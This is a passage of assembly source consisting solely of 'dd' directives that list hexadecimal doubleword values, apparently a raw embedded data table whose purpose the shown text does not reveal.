		dd 0D8A5437Fh, 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h
		dd 7ACD6077h, 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h
		dd 47780203h, 989B6787h, 12AEFEh, 940CF188h, 30050708h
		dd 0D824A509h, 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh
		dd 0FB7E48Bh, 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh
		dd 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h
		dd 9EDA1DD5h, 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h
		dd 0C45385h, 0F85056A0h, 1C960055h, 0CE4F6712h,	8272CF79h
		dd 0B100A874h, 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h
		dd 11360800h, 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh
		dd 7E3E6B04h, 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h
		dd 610F2BC9h, 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h,	0FC288C24h
		dd 0B12E2F6h, 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h
		dd 0EC6D8E00h, 7BF073h,	0C0F880F4h, 0C85D9EBAh,	0D02EA000h
		dd 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h
		dd 7A926EE3h, 10B00008h, 0BA18B274h, 20005DB4h,	0B8282EB6h
		dd 0F64B3097h, 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h
		dd 0C6605DC4h, 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h
		dd 5761D0E9h, 0BA98DCh,	0D6A05CD4h, 0B8CBB0CFh,	0C8D89900h
		dd 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h
		dd 2CFC7318h, 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh
		dd 97A980E6h, 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h
		dd 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh
		dd 0EB75602Eh, 99FA00ABh, 24E920F8h, 210B2CF1h,	8B38F9F2h
		dd 500990ACh, 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah
		dd 4FF0FF3Eh, 780A0070h, 4E5B7A57h, 0FA16095Fh,	5001A1BBh
		dd 97C9893Fh, 0C60434h,	0C32DAE1h, 88609020h, 300B0F00h
		dd 48493327h, 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h,	67A8A707h
		dd 86317247h, 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h
		dd 6A00E4F2h, 424C0B8h,	0E4937h, 3C233BBEh, 4102672Dh
		dd 0E74BC70Eh, 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh
		dd 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h
		dd 0E53A0Fh, 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h
		dd 3E560060h, 0E974B272h, 8A003750h, 3F62E1A0h,	15D0770h
		dd 75312E30h, 0FCD31524h, 5213A24Bh, 760088E9h,	342B50E0h
		dd 356D001Ch, 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h
		dd 60EDF332h, 0C09C482Ch, 8700FB1Dh, 249F394Eh,	1E16C4E5h
		dd 4083FAF0h, 1525F33Bh, 1C3E2E84h, 0A6828095h,	7AFE50ADh
		dd 0E87C00D0h, 184A3EE0h, 4900E60Eh, 550BF1CFh,	0E940427h
		dd 0C964B047h, 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh
		dd 170E00E3h, 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh
		dd 0FA50BF07h, 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h
		dd 3A3E3339h, 983B8000h, 0EE3DB33Ch, 3409000Eh,	0E14A492Eh
		dd 0D2E6943Eh, 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh
		dd 8D3ACA6Ch, 9F379600h, 0D78EB84Eh, 12F03DCFh,	43F100F0h
		dd 936D391Dh, 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h
		dd 805CF4E2h, 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h
		dd 1B097E6Ch, 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h
		dd 8430170Bh, 38A0DE3Bh
		dd 0E8FF3Dh, 1DF612F2h,	0FE27FAh, 0F437B02Dh, 0B25AF849h
		dd 734A6601h, 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h
		dd 28203581h, 48A8001Ch, 504F7AB2h, 5801BA09h, 14642641h
		dd 1D6424A6h, 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh
		dd 2A0014ECh, 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh
		dd 284C9DE5h, 34C82C81h, 60C85C9Fh, 0C2640093h,	0F0786CEEh
		dd 5E75747Eh, 0E18088C0h, 72F988F6h, 7690748Ch,	0D39C7894h
		dd 0C8630080h, 0FCD0E864h, 0B892D400h, 0E04DDC7Eh, 67983Ah
		dd 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h, 0A22C9324h, 2E91C30h
		dd 0F13CC038h, 6844F940h, 66011C4Eh, 10542E50h,	5CA05344h
		dd 0F498F090h, 1F52949Ch, 9FA89FA4h, 92B085ACh,	0BCA203B4h
		dd 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh, 83840B3Ah
		dd 0DC42C29h, 3D604D1h,	803E873Ch, 5869A02Bh, 0C5E1BF00h
		dd 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h, 66013142h
		dd 0C8986C00h, 37DEFB50h, 741A0172h, 0D7C4A78h,	69B03084h
		dd 0D62D8A0Fh, 0EBFB0007h, 5407849h, 0F03C6E68h, 4BC68070h
		dd 0E7B0212Dh, 0B745AB03h, 98D662D3h, 2DEFE2E3h, 6F004EE8h
		dd 0F8895961h, 587E3C5Ch, 7E5C59h, 3D0283DDh, 0AB9322h
		dd 0A73E19A0h, 27E8CAE4h, 33033FE2h, 67521687h,	0A593A873h
		dd 700827B5h, 0E000E674h, 0C77230F8h, 68D4004Dh, 5731130Eh
		dd 0C1016349h, 0B3E182A2h, 7F49038h, 4E560032h,	331883D7h
		dd 88739250h, 0B300667Ah, 8FD2300Fh, 0FBCFE6h, 0EC2708C9h
		dd 0E0224418h, 0B62C4BE4h, 9F005CAAh, 836F9769h, 0F39D1C6Ch
		dd 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h
		dd 0AA9D60C0h, 74077202h, 6015760Dh, 5217A74h, 2F7E297Ch
		dd 0C0D11CCFh, 274BC945h, 0E7395DF6h, 0F4720065h, 8AF8927Eh
		dd 0AEF20049h, 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h
		dd 583BDAD4h, 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh
		dd 8F874F7Fh, 0C09DCF8Fh, 49B592A7h, 61C303CCh,	0D7F9D1B0h
		dd 0E3A3DD93h, 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h
		dd 28823302h, 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h
		dd 10E4D1h, 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h
		dd 3E2D000Bh, 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh
		dd 44001C7Eh, 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h
		dd 44070292h, 0E15C1449h, 88F981AFh, 1670092Ah,	4F221D50h
		dd 0A08EC798h, 33E190E0h, 3400C213h, 59EC4AC6h,	0E6195D6h
		dd 72692CD8h, 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h
		dd 92620026h, 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h
		dd 7BE0024h, 0FE4AC90h,	17FE13E8h, 0BA3E04B8h, 0D33E6782h
		dd 0E01CD722h, 9D2730h,	92AA1DA6h, 89BE5EA7h, 2F2B3E02h
		dd 60A414C0h, 1BD3A3Dh,	9425FF4h, 0EC51019Ch, 0A0006012h
		dd 6CE868E6h, 0FC3108CEh, 32350087h, 33092139h,	0B100C90Dh
		dd 5F343CD0h, 0F40B40h,	0C832E1C0h, 765E41EAh, 257AC90Bh
		dd 0D3430462h, 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h
		dd 80623900h, 793A7578h, 0E87D03E4h, 5D3B2659h,	0C3B8B4CBh
		dd 0A300B734h, 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh
		dd 1F71FAACh, 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h
		dd 5780BC08h, 8AB8AE30h, 3101430Bh, 0E1DA424Fh,	87CC7B9Ch
		dd 0F19402E9h, 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah
		dd 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah
		dd 0F42CF028h, 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h
		dd 12140037h, 3FB24BDCh, 5E006C24h, 0FC7778E0h,	88BE84h
		dd 0CF39C307h, 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah
		dd 3C703389h, 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h
		dd 0F5F2583Bh, 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h
		dd 63A5FC87h, 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h
		dd 1D720201h, 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h
		dd 94004974h, 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh
		dd 3A51F60Eh, 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h
		dd 0CEBAE680h, 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h
		dd 37E0018Eh, 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h
		dd 213B121Fh, 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh
		dd 43FA0729h, 0F04F6500h, 7BF86E6Ch, 9C3200B8h,	1F06267Ch
		dd 0BF0293B3h, 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h
		dd 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh
		dd 0B8C9AB30h, 1A03093Ah, 5E08D00Fh, 5D78A835h,	2469000Bh
		dd 0FCBC7AD2h, 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h
		dd 83A295D5h, 3F2F7A0h,	740068F0h, 783E9822h, 574946h
		dd 259B3FA8h, 41E462A5h, 0F8FEAC00h, 9354338Fh,	0ECEA01F6h
		dd 3904F0F5h, 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h
		dd 406E3CAAh, 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh
		dd 167C0094h, 28AED94Ch, 9302F27Eh, 0F9B0A6C9h,	761350B6h
		dd 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h
		dd 0C08C5056h, 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h
		dd 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h, 20D1140Fh,	2FE140D9h
		dd 7F13BE9h, 6C0B2B44h,	7BC0BE58h, 0FCB778A0h, 79DC300h
		dd 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h
		dd 22A95Bh, 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h
		dd 8C084C78h, 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh
		dd 5D3E0157h, 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h
		dd 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh
		dd 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h
		dd 58B88EC9h, 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h
		dd 48058F80h, 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h
		dd 0A044128Eh, 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h
		dd 28050790h, 4BF045ECh, 0A2923C80h, 0F6F034Fh,	88CF815Ch
		dd 0ADCBA390h, 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah
		dd 2B78C96Dh, 598D1609h, 0A2B11214h, 3FDA3F94h,	58FC00F2h
		dd 3A1939ECh, 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh
		dd 96351EC9h, 973E803Ch, 95AAC277h, 0B87E7170h,	0C3E203AAh
		dd 6F2FD30h, 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h
		dd 5F1DFF4Ch, 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch
		dd 22C12EB3h, 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h
		dd 0F575AF8h, 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h
		dd 38390008h, 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch
		dd 2C918C2h, 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h
		dd 0FE60D353h, 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h
		dd 70D0FDF2h, 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh
		dd 0EC18B25h, 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h
		dd 20B449EAh, 0C02CEA3Bh, 0F416Fh, 61574B4Dh, 93F985FAh
		dd 2C6440C0h, 197ECh, 173C07A2h, 41D122C9h, 2452D900h
		dd 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh
		dd 0BD3C3Bh, 0C1C725C2h
		dd 0F9D11C60h, 3ADB9DD6h, 3E6AF880h, 83747972h,	0BA934800h
		dd 133F0AC2h, 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h
		dd 900EDCF5h, 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh
		dd 760EC359h, 4E86F379h, 0F29F808Eh, 4DECE9A4h,	0F13082B9h
		dd 72310C89h, 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh
		dd 99F85EECh, 0AC3825C0h, 6005070Bh, 0E6C593CEh, 2504180h
		dd 0C314034Fh, 5DB3285Ah, 0B2D381A8h, 0F2BBE309h, 5CD880E6h
		dd 486E2D2Ah, 580570FAh, 0F0817C90h, 4E019555h,	0BF5E0F9Eh
		dd 0D6C9C9CFh, 72C2DECCh, 0FA702C60h, 765D06AEh, 27008D7Bh
		dd 0D9F641C1h, 7938E9F9h, 4B037946h, 7E5FCEEh, 853D7E58h
		dd 2E0591B0h, 16A101ABh, 0FCCFCE20h, 92F1C8DFh,	1101CC7Ah
		dd 84321E36h, 0F840563Bh, 22824Ch, 4F2A7063h, 8EF60F7Ch
		dd 98CF39h, 0C2A8CBA1h,	3A94E124h, 27AE38D3h, 1E200FC5h
		dd 0B3329201h, 0F0C14768h, 0F1A0E288h, 0C21F1200h, 0DF27C791h
		dd 0E2F8F641h, 72380F07h, 83E04E15h, 64C35CD8h,	0E26FD307h
		dd 0C69049B2h, 924D7F9h, 859FEDD6h, 5AFE9170h, 8056B03Ah
		dd 0F8A6F490h, 9A94ABh,	0AAA0D813h, 773A394Eh, 3E1E59F0h
		dd 4C0EC49h, 40900C3Dh,	423000BCh, 0ADA0997h, 1239E002h
		dd 8E76B857h, 409F84ECh, 98A8BB2Eh, 6B30FF3Fh, 9E100326h
		dd 5B133C9Dh, 7C27D400h, 6CC7D461h, 7405EE14h, 0F83B1F84h
		dd 84629F96h, 80F99EBAh, 4E740C38h, 9D9A2D38h, 6B805678h
		dd 0CFA2E80Fh, 0EECB00E5h, 34030E41h, 1CF81694h, 1700FDB8h
		dd 4A384929h, 395D9699h, 890083F9h, 0A1278A68h,	0B17BAC61h
		dd 0D26CCB00h, 6436DE2Eh, 184E00FCh, 78D82A49h,	3BF01EB8h
		dd 8756C23Bh, 30546C62h, 0C0D375A2h, 0EB53CAAh,	0E27E0E50h
		dd 95DF140h, 430E2506h,	63AF3487h, 14A4D9h, 3BA03AACh
		dd 3DB43CA5h, 0DE2CC91Fh, 3EB18404h, 58882A80h,	0FEDBFEDAh
		dd 1E3F4DFh, 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h
		dd 0FD000D3Fh, 37CF258Eh, 4F3D380Fh, 1E558F9Eh,	0C96D8067h
		dd 4EC05881h, 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh
		dd 0E4000982h, 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh
		dd 0C26B9200h, 50698074h, 0C4C2A09Ch, 36AF4B8h,	0F6C97831h
		dd 1000D9BDh, 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h
		dd 351A8500h, 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h
		dd 0C8C50C17h, 8DF40Fh,	6CE1918Bh, 539DF999h, 0F2A5FC00h
		dd 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh
		dd 0C08CF872h, 8EC19Eh,	90093E82h, 4F92F08Ah, 7C42E6E5h
		dd 0A27E3A40h, 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h
		dd 987A9CD8h, 7E0EACFAh, 0E0E959C0h, 253A110Eh,	3BFA005Fh
		dd 3D613C4Dh, 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch
		dd 6CAB9Ch, 9302F624h, 8600C218h, 0C0E48457h, 9085E808h
		dd 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h
		dd 0A4392EDDh, 0FDB0C7Bh, 311EF754h, 2D921C09h,	80418BC9h
		dd 2171FE4Dh, 33B01F28h, 0D1C300B9h, 344CD8D3h,	0AC394F2Eh
		dd 36E9A300h, 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh
		dd 4C35272Dh, 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h
		dd 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh
		dd 80508BB5h, 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h
		dd 0C23B3A84h, 305C8351h, 77937B1Fh, 70980186h,	34AC5D5Eh
		dd 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh, 580A12h,	4A3074FEh
		dd 44F6C838h, 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h
		dd 0DC9270E8h, 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h
		dd 0E1ECB1E8h, 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h
		dd 9EA81D60h, 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h
		dd 9EC669D7h, 95A7C00h,	0A966374Fh, 968500A0h, 6E50920Eh
		dd 0CE0F7E49h, 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h
		dd 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h,	3DF28329h
		dd 0F0E947B2h, 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h
		dd 0BE443EC2h, 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh
		dd 0CF862C8Ah, 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h
		dd 2AE4D68Eh, 3D030013h, 260F097h, 7D003E2Fh, 3F217081h
		dd 4386C29h, 4C26453Bh,	500ABAEh, 0C811E088h, 39EA015Ch
		dd 2D663A2Fh, 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h
		dd 0F07E3409h, 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h
		dd 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h
		dd 5EFCF04Dh, 0E4168800h, 5014C609h, 44762CD8h,	607A013Ch
		dd 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h
		dd 0CC38C003h, 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h
		dd 0E82972E0h, 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h
		dd 0CC4C68D6h, 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h
		dd 0EF8020E9h, 509BB0E7h, 6898B038h, 101CEA00h,	2F92153Fh
		dd 0D6282CE0h, 8E9F03FEh, 32B009B6h, 6800C19Ch,	0D136C926h
		dd 3A49D93Eh, 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh
		dd 0C4B88098h, 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh
		dd 92626088h, 0AE8276h,	2C7C7E9Eh, 3249017Ah, 4D334200h
		dd 0EC3C80C9h, 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h
		dd 0DA300964h, 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h
		dd 169E5E1Dh, 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h
		dd 69385C12h, 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh
		dd 0C390516h, 17A34AC3h, 0C223B300h, 7E06702Fh,	525E0040h
		dd 0C968660Fh, 36094188h, 0D96C6494h, 69201EBh,	0CC4A74B0h
		dd 0E6724009h, 3A024200h, 2CC2104Eh, 70E8FC3Ch,	28682641h
		dd 2A8E3F4Bh, 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h
		dd 0AB0C1C0Bh, 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h
		dd 0E3603E41h, 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch
		dd 0DE1C1072h, 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h
		dd 0D812EE0Bh, 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh
		dd 265081B7h, 3C019335h, 410E251Ch, 0E0306474h,	0E2E80030h
		dd 9682DC06h, 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh
		dd 0C8FA4D80h, 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h
		dd 0FCC7F8BCh, 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h
		dd 96849754h, 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h
		dd 745B7239h, 8F704983h, 3EAE3D00h, 0EAF32CC6h,	1EC001B3h
		dd 46A2B92h, 0E956E4C1h, 4B00F1E2h, 0F24CE238h,	3824763Bh
		dd 3D80099Fh, 4E32D847h, 2E00C366h, 0DC94D28Ch,	279C122Ch
		dd 4DC19E83h, 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h
		dd 0B29D0043h, 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h
		dd 7724F080h, 499E00D2h, 0E100D6FAh, 6807E9F5h,	3263A66h
		dd 3CE42B24h, 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh
		dd 0E7F8FA07h, 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh
		dd 0A17207C0h, 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h
		dd 89951A00h, 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h
		dd 608E6163h, 0B7E2B0A5h
		dd 98879703h, 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h,	5804F32Dh
		dd 2794DC09h, 8C07161Eh, 93FE8FC0h, 0FE36323Fh,	7E8A3C70h
		dd 3772007Fh, 8640A06Bh, 0A5E21CB4h, 1DB89D00h,	15F09ECDh
		dd 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h
		dd 5602C11Dh, 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh
		dd 7449176Ch, 7C5E04D8h, 0C8B3C05Bh, 401C5070h,	1C014F0h
		dd 0EE300BA3h, 3A7C32h,	0F916640Ch, 2F34B8FDh, 0C6610500h
		dd 0E177310Dh, 0E3B0086h, 29ED25E0h, 560028CCh,	2E7353Fh
		dd 741C53Dh, 0FC4992A0h, 0FD51204Dh, 59008C20h,	611FFA94h
		dd 76593h, 25923B98h, 9A08E002h, 380A9C00h, 1FEC824Ah
		dd 0F77A48DEh, 987C4B00h, 76165C26h, 96308312h,	0ACFA4A00h
		dd 12B0D4h, 0BC684FB4h,	7678C0CBh, 75C85B3Bh, 50F08B00h
		dd 87F84ACAh, 3F032772h, 0C200D4ECh, 7E265814h,	48204A1Ch
		dd 0F413F68Bh, 28EEE292h, 6000FAB7h, 68E564E7h,	3E70DE4Ah
		dd 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h
		dd 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh, 0EB250C9h, 40C61F0h
		dd 0C32A08E0h, 14E6104Ch, 0E318D300h, 0F020F21Ch, 285B0086h
		dd 79FBD0C7h, 580E71D2h, 46FA5CF9h, 8AE548h, 7CFC78A0h
		dd 8416A29Ch, 8CE8F012h, 13EA5700h, 0B682B4h, 0CCE058C0h
		dd 88D860C9h, 2305E71Dh, 2D01BC9Fh, 0C0C83166h,	0C93CCCh
		dd 0F0686F40h, 4F2EFD64h, 81709E3Dh, 7CECC174h,	84C880F9h
		dd 2FE60078h, 9404418Ch, 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h
		dd 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h,	3C100905h
		dd 94A87C78h, 0E15C8A00h, 74F96C12h, 84222F00h,	44AE568Ch
		dd 0AAAC01A4h, 0A661B425h, 588240C4h, 0BF63064h, 0A4701A00h
		dd 0B8E884D2h, 0B8C752Dh, 16FC9462h, 0B84970h, 0A803A47Dh
		dd 6FB02CC1h, 7BB8F80Bh, 1C4107FEh, 0A02F3834h,	20704832h
		dd 0F5C5A00h, 6CCB689Ah, 2FF0747Bh, 0AB63DC79h,	96F441BFh
		dd 0C04630F8h, 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h
		dd 0E285B778h, 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h
		dd 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h
		dd 4FDE00E4h, 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h
		dd 4F48D0B8h, 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h
		dd 28068480h, 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h
		dd 88B00F2Fh, 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh
		dd 0E090DC7Eh, 0B00E45Bh, 8650ECAEh, 3F0FF45Eh,	0E80FC76h
		dd 8490438h, 4A48EE58h,	18F00073h, 0F4561CE2h, 147B01Fh
		dd 162C9328h, 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h
		dd 4B854E4h, 602F5C3Fh,	15A00E03h, 85B6AB01h, 3FF013Bh
		dd 40E86090h, 0EB0E1506h, 87821144h, 2EB590DBh,	4D02E00Ah
		dd 44BB18DEh, 0DD039029h, 719D2B18h, 33BD8311h,	89AD30D8h
		dd 832E2FE9h, 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh
		dd 60897D31h, 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h
		dd 21FA4228h, 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h
		dd 0DF46EAA0h, 4C6D38ABh, 75264268h, 2A453AA3h,	0E853C70Ch
		dd 7F8B3774h, 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h,	0A3807623h
		dd 57E35036h, 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch
		dd 2002B063h, 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh
		dd 57E100E0h, 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh
		dd 0B0CC02Ah, 0A7A74DBh, 870003ECh, 89195985h, 318DF0h
		dd 831171B5h, 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h
		dd 141EFC99h, 9A063850h, 0EC305586h, 8B560D1Fh,	9D0309C5h
		dd 51A0BB05h, 2F29A03h,	6EBD8880h, 12D0070h, 85FE4C75h
		dd 8B0F0940h, 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h
		dd 535651A3h, 83BA00D5h, 0B55506E9h, 33173FE0h,	56000BDBh
		dd 1A781C03h, 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h
		dd 0C3831E29h, 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh
		dd 36104837h, 0F90CC1h,	8DA5F302h, 3C0377E1h, 535EA400h
		dd 809C5088h, 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h
		dd 64E402A9h, 0E10729FEh, 864B5595h, 2B0F1970h,	79D89DD0h
